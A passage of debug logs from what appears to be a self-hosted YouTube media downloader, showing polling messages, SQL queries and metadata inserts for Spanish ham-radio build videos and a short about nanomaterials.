s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1401] 23:01:36.178 [debug] Current batch of media processed. Will check again in 1000ms 23:01:36.265 [debug] Current batch of media processed. Will check again in 1000ms 23:01:37.178 [debug] Current batch of media processed. Will check again in 1000ms 23:01:37.266 [debug] Current batch of media processed. Will check again in 1000ms 23:01:38.179 [debug] Current batch of media processed. Will check again in 1000ms 23:01:38.267 [debug] Current batch of media processed. Will check again in 1000ms 23:01:39.180 [debug] Current batch of media processed. Will check again in 1000ms 23:01:39.268 [debug] Current batch of media processed. Will check again in 1000ms 23:01:40.181 [debug] Current batch of media processed. Will check again in 1000ms 23:01:40.269 [debug] Current batch of media processed. Will check again in 1000ms 23:01:41.182 [debug] Current batch of media processed. Will check again in 1000ms 23:01:41.270 [debug] Current batch of media processed. Will check again in 1000ms 23:01:42.183 [debug] Current batch of media processed. Will check again in 1000ms 23:01:42.271 [debug] Current batch of media processed. Will check again in 1000ms 23:01:43.184 [debug] Current batch of media processed. Will check again in 1000ms 23:01:43.272 [debug] Current batch of media processed. Will check again in 1000ms 23:01:44.185 [debug] Current batch of media processed. Will check again in 1000ms 23:01:44.273 [debug] Current batch of media processed. Will check again in 1000ms 23:01:45.186 [debug] Current batch of media processed. Will check again in 1000ms 23:01:45.274 [debug] Current batch of media processed. Will check again in 1000ms 23:01:46.187 [debug] Current batch of media processed. Will check again in 1000ms 23:01:46.275 [debug] Current batch of media processed. Will check again in 1000ms 23:01:47.188 [debug] Current batch of media processed. Will check again in 1000ms 23:01:47.276 [debug] Current batch of media processed. Will check again in 1000ms 23:01:48.189 [debug] Current batch of media processed. Will check again in 1000ms 23:01:48.277 [debug] Current batch of media processed. Will check again in 1000ms 23:01:49.190 [debug] Current batch of media processed. Will check again in 1000ms 23:01:49.278 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Seguimos en este video con el montaje del (tr)uSDX de DL2MAN, aunque al final tuve un error y me costó bastante caro... Bueno, por precio no, pero si por el inconveniente. Tocó cambiar los tres BS170 y un condensador electrolítico de la entrada.\n\n Contenido del video \n00:00 - Inicio\n00:22 - Intro canal\n00:40 - Modificación T2\n01:44 - Montado en caja\n02:40 - Primer encendido\n03:22 - Descarga de firmware\n06:41 - Carga del firmware\n07:56 - Ya funciona!\n09:25 - Medición de armónicos a 0.5 w\n16:06 - Armónicos por banda\n17:32 - Catástrofe...\n18:45 - Llegan los recambios\n19:30 - Pruebas a 12 voltios\n20:04 - Medidas en 14 Mhz\n20:15 - Medidas en 10 Mhz\n20:26 - Medidas en 5 Mhz\n20:36 - Medidas en 7 Mhz\n20:45 - Medidas en 3.5 Mhz\n20:55 - Conclusiones\n\n#uSDX #dl2man #hamradion#radioaficionados #bs170 #bs270 #diyelectronics #tinySA #tinysaULTRA\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 1332, "filename" => "/downloads/music/ea3grn/105 - MONTAJE DEL TRUSDX (SEGUNDA PARTE).m4a", "id" => "XjQlGAG4fn8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=XjQlGAG4fn8", "playlist_index" => 76, "timestamp" => 1680187785, "title" => "105 - MONTAJE DEL TRUSDX (SEGUNDA PARTE)", "upload_date" => "20230330"} 23:01:49.279 [debug] QUERY OK source="sources" db=0.6ms idle=1493.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 23:01:49.280 [debug] QUERY OK source="sources" db=0.4ms idle=1494.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:01:49.281 [debug] QUERY OK source="media_items" db=0.7ms idle=1494.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-03-30 14:49:45Z], 3] 23:01:49.283 [debug] QUERY OK source="media_items" db=1.1ms idle=1495.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Seguimos en este video con el montaje del (tr)uSDX de DL2MAN, aunque al final tuve un error y me costó bastante caro... Bueno, por precio no, pero si por el inconveniente. Tocó cambiar los tres BS170 y un condensador electrolítico de la entrada.\n\n Contenido del video \n00:00 - Inicio\n00:22 - Intro canal\n00:40 - Modificación T2\n01:44 - Montado en caja\n02:40 - Primer encendido\n03:22 - Descarga de firmware\n06:41 - Carga del firmware\n07:56 - Ya funciona!\n09:25 - Medición de armónicos a 0.5 w\n16:06 - Armónicos por banda\n17:32 - Catástrofe...\n18:45 - Llegan los recambios\n19:30 - Pruebas a 12 voltios\n20:04 - Medidas en 14 Mhz\n20:15 - Medidas en 10 Mhz\n20:26 - Medidas en 5 Mhz\n20:36 - Medidas en 7 Mhz\n20:45 - Medidas en 3.5 Mhz\n20:55 - Conclusiones\n\n#uSDX #dl2man #hamradion#radioaficionados #bs170 #bs270 #diyelectronics #tinySA #tinysaULTRA\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "105 - MONTAJE DEL TRUSDX (SEGUNDA PARTE)", "27a6cf14-be3d-474d-9bc1-3f1c1d644c81", 1332, false, "XjQlGAG4fn8", "https://www.youtube.com/watch?v=XjQlGAG4fn8", 76, "/downloads/music/ea3grn/105 - MONTAJE DEL TRUSDX (SEGUNDA PARTE).m4a", false, false, false, 3, [], 98, ~U[2023-03-30 14:49:45Z], ~U[2026-02-07 22:01:49Z], ~U[2026-02-07 22:01:49Z], "Seguimos en este video con el montaje del (tr)uSDX de DL2MAN, aunque al final tuve un error y me costó bastante caro... Bueno, por precio no, pero si por el inconveniente. Tocó cambiar los tres BS170 y un condensador electrolítico de la entrada.\n\n Contenido del video \n00:00 - Inicio\n00:22 - Intro canal\n00:40 - Modificación T2\n01:44 - Montado en caja\n02:40 - Primer encendido\n03:22 - Descarga de firmware\n06:41 - Carga del firmware\n07:56 - Ya funciona!\n09:25 - Medición de armónicos a 0.5 w\n16:06 - Armónicos por banda\n17:32 - Catástrofe...\n18:45 - Llegan los recambios\n19:30 - Pruebas a 12 voltios\n20:04 - Medidas en 14 Mhz\n20:15 - Medidas en 10 Mhz\n20:26 - Medidas en 5 Mhz\n20:36 - Medidas en 7 Mhz\n20:45 - Medidas en 3.5 Mhz\n20:55 - Conclusiones\n\n#uSDX #dl2man #hamradion#radioaficionados #bs170 #bs270 #diyelectronics #tinySA #tinysaULTRA\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "105 - MONTAJE DEL TRUSDX (SEGUNDA PARTE)", 1332, false, "XjQlGAG4fn8", "https://www.youtube.com/watch?v=XjQlGAG4fn8", "/downloads/music/ea3grn/105 - MONTAJE DEL TRUSDX (SEGUNDA PARTE).m4a", false, 3, ~U[2023-03-30 14:49:45Z]] 23:01:49.283 [debug] QUERY OK source="sources" db=0.5ms idle=699.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:01:49.284 [debug] QUERY OK source="media_profiles" db=0.4ms idle=4.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:01:49.285 [debug] QUERY OK source="media_items" db=0.5ms idle=4.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1457] 23:01:49.285 [debug] Current batch of media processed. Will check again in 1000ms 23:01:50.191 [debug] Current batch of media processed. Will check again in 1000ms 23:01:50.285 [debug] Current batch of media processed. Will check again in 1000ms 23:01:51.192 [debug] Current batch of media processed. Will check again in 1000ms 23:01:51.286 [debug] Current batch of media processed. Will check again in 1000ms 23:01:51.322 [info] {"source":"oban","duration":1883,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:01:52.193 [debug] Current batch of media processed. Will check again in 1000ms 23:01:52.287 [debug] Current batch of media processed. Will check again in 1000ms 23:01:53.194 [debug] Current batch of media processed. Will check again in 1000ms 23:01:53.288 [debug] Current batch of media processed. Will check again in 1000ms 23:01:54.195 [debug] Current batch of media processed. Will check again in 1000ms 23:01:54.289 [debug] Current batch of media processed. Will check again in 1000ms 23:01:55.196 [debug] Current batch of media processed. Will check again in 1000ms 23:01:55.290 [debug] Current batch of media processed. Will check again in 1000ms 23:01:56.197 [debug] Current batch of media processed. Will check again in 1000ms 23:01:56.291 [debug] Current batch of media processed. Will check again in 1000ms 23:01:57.198 [debug] Current batch of media processed. Will check again in 1000ms 23:01:57.292 [debug] Current batch of media processed. Will check again in 1000ms 23:01:58.199 [debug] Current batch of media processed. Will check again in 1000ms 23:01:58.293 [debug] Current batch of media processed. Will check again in 1000ms 23:01:59.200 [debug] Current batch of media processed. Will check again in 1000ms 23:01:59.294 [debug] Current batch of media processed. Will check again in 1000ms 23:02:00.144 [info] {"source":"oban","duration":416,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:02:00.201 [debug] Current batch of media processed. Will check again in 1000ms 23:02:00.295 [debug] Current batch of media processed. Will check again in 1000ms 23:02:01.202 [debug] Current batch of media processed. Will check again in 1000ms 23:02:01.296 [debug] Current batch of media processed. Will check again in 1000ms 23:02:02.203 [debug] Current batch of media processed. Will check again in 1000ms 23:02:02.297 [debug] Current batch of media processed. Will check again in 1000ms 23:02:03.204 [debug] Current batch of media processed. Will check again in 1000ms 23:02:03.298 [debug] Current batch of media processed. Will check again in 1000ms 23:02:04.205 [debug] Current batch of media processed. Will check again in 1000ms 23:02:04.299 [debug] Current batch of media processed. Will check again in 1000ms 23:02:05.206 [debug] Current batch of media processed. Will check again in 1000ms 23:02:05.300 [debug] Current batch of media processed. Will check again in 1000ms 23:02:06.207 [debug] Current batch of media processed. Will check again in 1000ms 23:02:06.301 [debug] Current batch of media processed. Will check again in 1000ms 23:02:07.208 [debug] Current batch of media processed. Will check again in 1000ms 23:02:07.302 [debug] Current batch of media processed. Will check again in 1000ms 23:02:08.209 [debug] Current batch of media processed. Will check again in 1000ms 23:02:08.303 [debug] Current batch of media processed. Will check again in 1000ms 23:02:09.210 [debug] Current batch of media processed. Will check again in 1000ms 23:02:09.304 [debug] Current batch of media processed. Will check again in 1000ms 23:02:10.211 [debug] Current batch of media processed. Will check again in 1000ms 23:02:10.305 [debug] Current batch of media processed. Will check again in 1000ms 23:02:11.212 [debug] Current batch of media processed. Will check again in 1000ms 23:02:11.306 [debug] Current batch of media processed. Will check again in 1000ms 23:02:12.213 [debug] Current batch of media processed. Will check again in 1000ms 23:02:12.307 [debug] Current batch of media processed. Will check again in 1000ms 23:02:13.214 [debug] Current batch of media processed. Will check again in 1000ms 23:02:13.308 [debug] Current batch of media processed. Will check again in 1000ms 23:02:14.215 [debug] Current batch of media processed. Will check again in 1000ms 23:02:14.309 [debug] Current batch of media processed. Will check again in 1000ms 23:02:15.216 [debug] Current batch of media processed. Will check again in 1000ms 23:02:15.310 [debug] Current batch of media processed. Will check again in 1000ms 23:02:16.217 [debug] Current batch of media processed. Will check again in 1000ms 23:02:16.311 [debug] Current batch of media processed. Will check again in 1000ms 23:02:17.218 [debug] Current batch of media processed. Will check again in 1000ms 23:02:17.312 [debug] Current batch of media processed. Will check again in 1000ms 23:02:18.219 [debug] Current batch of media processed. Will check again in 1000ms 23:02:18.313 [debug] Current batch of media processed. Will check again in 1000ms 23:02:19.221 [debug] Current batch of media processed. Will check again in 1000ms 23:02:19.314 [debug] Current batch of media processed. Will check again in 1000ms 23:02:20.222 [debug] Current batch of media processed. Will check again in 1000ms 23:02:20.315 [debug] Current batch of media processed. Will check again in 1000ms 23:02:21.223 [debug] Current batch of media processed. Will check again in 1000ms 23:02:21.316 [debug] Current batch of media processed. Will check again in 1000ms 23:02:21.326 [info] {"source":"oban","duration":1785,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:02:22.224 [debug] Current batch of media processed. Will check again in 1000ms 23:02:22.317 [debug] Current batch of media processed. Will check again in 1000ms 23:02:23.225 [debug] Current batch of media processed. Will check again in 1000ms 23:02:23.318 [debug] Current batch of media processed. Will check again in 1000ms 23:02:24.226 [debug] Current batch of media processed. Will check again in 1000ms 23:02:24.319 [debug] Current batch of media processed. Will check again in 1000ms 23:02:25.227 [debug] Current batch of media processed. Will check again in 1000ms 23:02:25.320 [debug] Current batch of media processed. Will check again in 1000ms 23:02:26.228 [debug] Current batch of media processed. Will check again in 1000ms 23:02:26.321 [debug] Current batch of media processed. Will check again in 1000ms 23:02:27.229 [debug] Current batch of media processed. Will check again in 1000ms 23:02:27.322 [debug] Current batch of media processed. Will check again in 1000ms 23:02:28.230 [debug] Current batch of media processed. Will check again in 1000ms 23:02:28.323 [debug] Current batch of media processed. Will check again in 1000ms 23:02:29.233 [debug] Current batch of media processed. Will check again in 1000ms 23:02:29.324 [debug] Current batch of media processed. Will check again in 1000ms 23:02:30.234 [debug] Current batch of media processed. Will check again in 1000ms 23:02:30.325 [debug] Current batch of media processed. Will check again in 1000ms 23:02:31.235 [debug] Current batch of media processed. Will check again in 1000ms 23:02:31.326 [debug] Current batch of media processed. Will check again in 1000ms 23:02:32.236 [debug] Current batch of media processed. Will check again in 1000ms 23:02:32.327 [debug] Current batch of media processed. Will check again in 1000ms 23:02:33.237 [debug] Current batch of media processed. Will check again in 1000ms 23:02:33.328 [debug] Current batch of media processed. Will check again in 1000ms 23:02:34.239 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "PARTE 14: CHATGPT NUEVAS FUNCIONALIDADES: Descubre cómo **investigaciones científicas** y **nanomateriales** están revolucionando la lucha contra el cáncer. **Nuestro** equipo de expertos crea materiales ultraligeros y resistentes, recibiendo valiosas aportaciones de Deep Research. ¡Acompáñanos en esta exploración científica! #Nanomateriales #InvestigaciónCientífica #CélulasCancerosas #DeepResearch #MaterialesUltraligeros #CienciaYTecnología #InnovaciónCientífica #Salud #DescubrimientosCientíficos #Tecnología", "duration" => 36, "filename" => "/downloads/music/IA mí QUÉ/¡Científicos Crean Nanomaterial Superligero! ¿Revolución o Riesgo Oculto?.m4a", "id" => "nF8QpeE9DdU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/nF8QpeE9DdU", "playlist_index" => 21, "timestamp" => 1747047337, "title" => "¡Científicos Crean Nanomaterial Superligero! ¿Revolución o Riesgo Oculto?", "upload_date" => "20250512"} 23:02:34.247 [debug] QUERY OK source="sources" db=7.8ms idle=1453.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 23:02:34.248 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1462.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 23:02:34.249 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=1462.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-12 10:55:37Z], 2] 23:02:34.254 [debug] QUERY OK source="media_items" db=4.1ms idle=1464.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["PARTE 14: CHATGPT NUEVAS FUNCIONALIDADES: Descubre cómo **investigaciones científicas** y **nanomateriales** están revolucionando la lucha contra el cáncer. **Nuestro** equipo de expertos crea materiales ultraligeros y resistentes, recibiendo valiosas aportaciones de Deep Research. ¡Acompáñanos en esta exploración científica! #Nanomateriales #InvestigaciónCientífica #CélulasCancerosas #DeepResearch #MaterialesUltraligeros #CienciaYTecnología #InnovaciónCientífica #Salud #DescubrimientosCientíficos #Tecnología", "¡Científicos Crean Nanomaterial Superligero! ¿Revolución o Riesgo Oculto?", "c121dd2e-6d6d-43a4-8a94-0bf7320ccf05", 36, false, "nF8QpeE9DdU", "https://www.youtube.com/shorts/nF8QpeE9DdU", 21, "/downloads/music/IA mí QUÉ/¡Científicos Crean Nanomaterial Superligero! ¿Revolución o Riesgo Oculto?.m4a", false, false, true, 2, [], 97, ~U[2025-05-12 10:55:37Z], ~U[2026-02-07 22:02:34Z], ~U[2026-02-07 22:02:34Z], "PARTE 14: CHATGPT NUEVAS FUNCIONALIDADES: Descubre cómo **investigaciones científicas** y **nanomateriales** están revolucionando la lucha contra el cáncer. **Nuestro** equipo de expertos crea materiales ultraligeros y resistentes, recibiendo valiosas aportaciones de Deep Research. ¡Acompáñanos en esta exploración científica! #Nanomateriales #InvestigaciónCientífica #CélulasCancerosas #DeepResearch #MaterialesUltraligeros #CienciaYTecnología #InnovaciónCientífica #Salud #DescubrimientosCientíficos #Tecnología", "¡Científicos Crean Nanomaterial Superligero! ¿Revolución o Riesgo Oculto?", 36, false, "nF8QpeE9DdU", "https://www.youtube.com/shorts/nF8QpeE9DdU", "/downloads/music/IA mí QUÉ/¡Científicos Crean Nanomaterial Superligero! ¿Revolución o Riesgo Oculto?.m4a", true, 2, ~U[2025-05-12 10:55:37Z]] 23:02:34.255 [debug] QUERY OK source="sources" db=0.4ms idle=577.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 23:02:34.256 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=8.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:02:34.257 [debug] QUERY OK source="media_items" db=0.8ms queue=0.7ms idle=7.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1402] 23:02:34.259 [debug] Current batch of media processed. Will check again in 1000ms 23:02:34.329 [debug] Current batch of media processed. Will check again in 1000ms 23:02:35.259 [debug] Current batch of media processed. Will check again in 1000ms 23:02:35.330 [debug] Current batch of media processed. Will check again in 1000ms 23:02:36.260 [debug] Current batch of media processed. Will check again in 1000ms 23:02:36.331 [debug] Current batch of media processed. Will check again in 1000ms 23:02:37.261 [debug] Current batch of media processed. Will check again in 1000ms 23:02:37.332 [debug] Current batch of media processed. Will check again in 1000ms 23:02:38.262 [debug] Current batch of media processed. Will check again in 1000ms 23:02:38.333 [debug] Current batch of media processed. Will check again in 1000ms 23:02:39.263 [debug] Current batch of media processed. Will check again in 1000ms 23:02:39.334 [debug] Current batch of media processed. Will check again in 1000ms 23:02:40.264 [debug] Current batch of media processed. Will check again in 1000ms 23:02:40.335 [debug] Current batch of media processed. Will check again in 1000ms 23:02:41.265 [debug] Current batch of media processed. Will check again in 1000ms 23:02:41.336 [debug] Current batch of media processed. Will check again in 1000ms 23:02:42.266 [debug] Current batch of media processed. Will check again in 1000ms 23:02:42.337 [debug] Current batch of media processed. Will check again in 1000ms 23:02:43.267 [debug] Current batch of media processed. Will check again in 1000ms 23:02:43.338 [debug] Current batch of media processed. Will check again in 1000ms 23:02:44.268 [debug] Current batch of media processed. Will check again in 1000ms 23:02:44.339 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Primero de todo. Para hacer este video he tenido que consultar múltiples fuentes, vídeos y foros. El mérito de lo aquí expuesto es solo de los autores originales. Son muchos para citarlos, pero yo lo único que he hecho ha sido poner en un video mi experiencia de montar esta antena.\nEn este video describimos el montaje de un clon de la antena Sirio GainMaster. Obviamente los derechos de ese diseño son de la marca comercial. Mi propósito es tan solo educativo: mostrar a otros como de fácil puede ser montar una antena para uso propio.\n\nEl diseño de la Bobina de choque empleada esta aquí:\nhttps://www.thingiverse.com/thing:5918398\n\n\n#antena #gainmaster #radioaficionados #cb27 #27mhz #sirio #hamradio #antenna #cincooctavos #nanovna #nanovnah4\n\n\n\n------------------- Contenido del video ------------------------------\n00:00 - Presentación\n00:54 - Intro Canal\n01:11 - Descripción montaje\n10:27 - Condensador coaxial\n13:37 - Cable 2.5 mm\n14:55 - Primer tramo coaxial\n17:06 - Stub impedancias\n17:51 - Bobina choque\n18:41 - Conexión stub y choque\n21:34 - Antena completa\n22:26 - Montada en caña\n23:17 - Medida ROE primera prueba\n23:28 - Segunda prueba\n23:48 - Medicion final ROE\n24:00 - Conclusiones\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 1888, "filename" => "/downloads/music/ea3grn/104 - CONSTRUIMOS UNA ANTENA 5⧸8 CON COBERTURA DE 24 A 29 Mhz.m4a", "id" => "7qUxsMICPTE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=7qUxsMICPTE", "playlist_index" => 77, "timestamp" => 1679590805, "title" => "104 - CONSTRUIMOS UNA ANTENA 5/8 CON COBERTURA DE 24 A 29 Mhz", "upload_date" => "20230323"} 23:02:44.340 [debug] QUERY OK source="sources" db=0.5ms idle=642.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 23:02:44.341 [debug] QUERY OK source="sources" db=0.4ms idle=555.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = 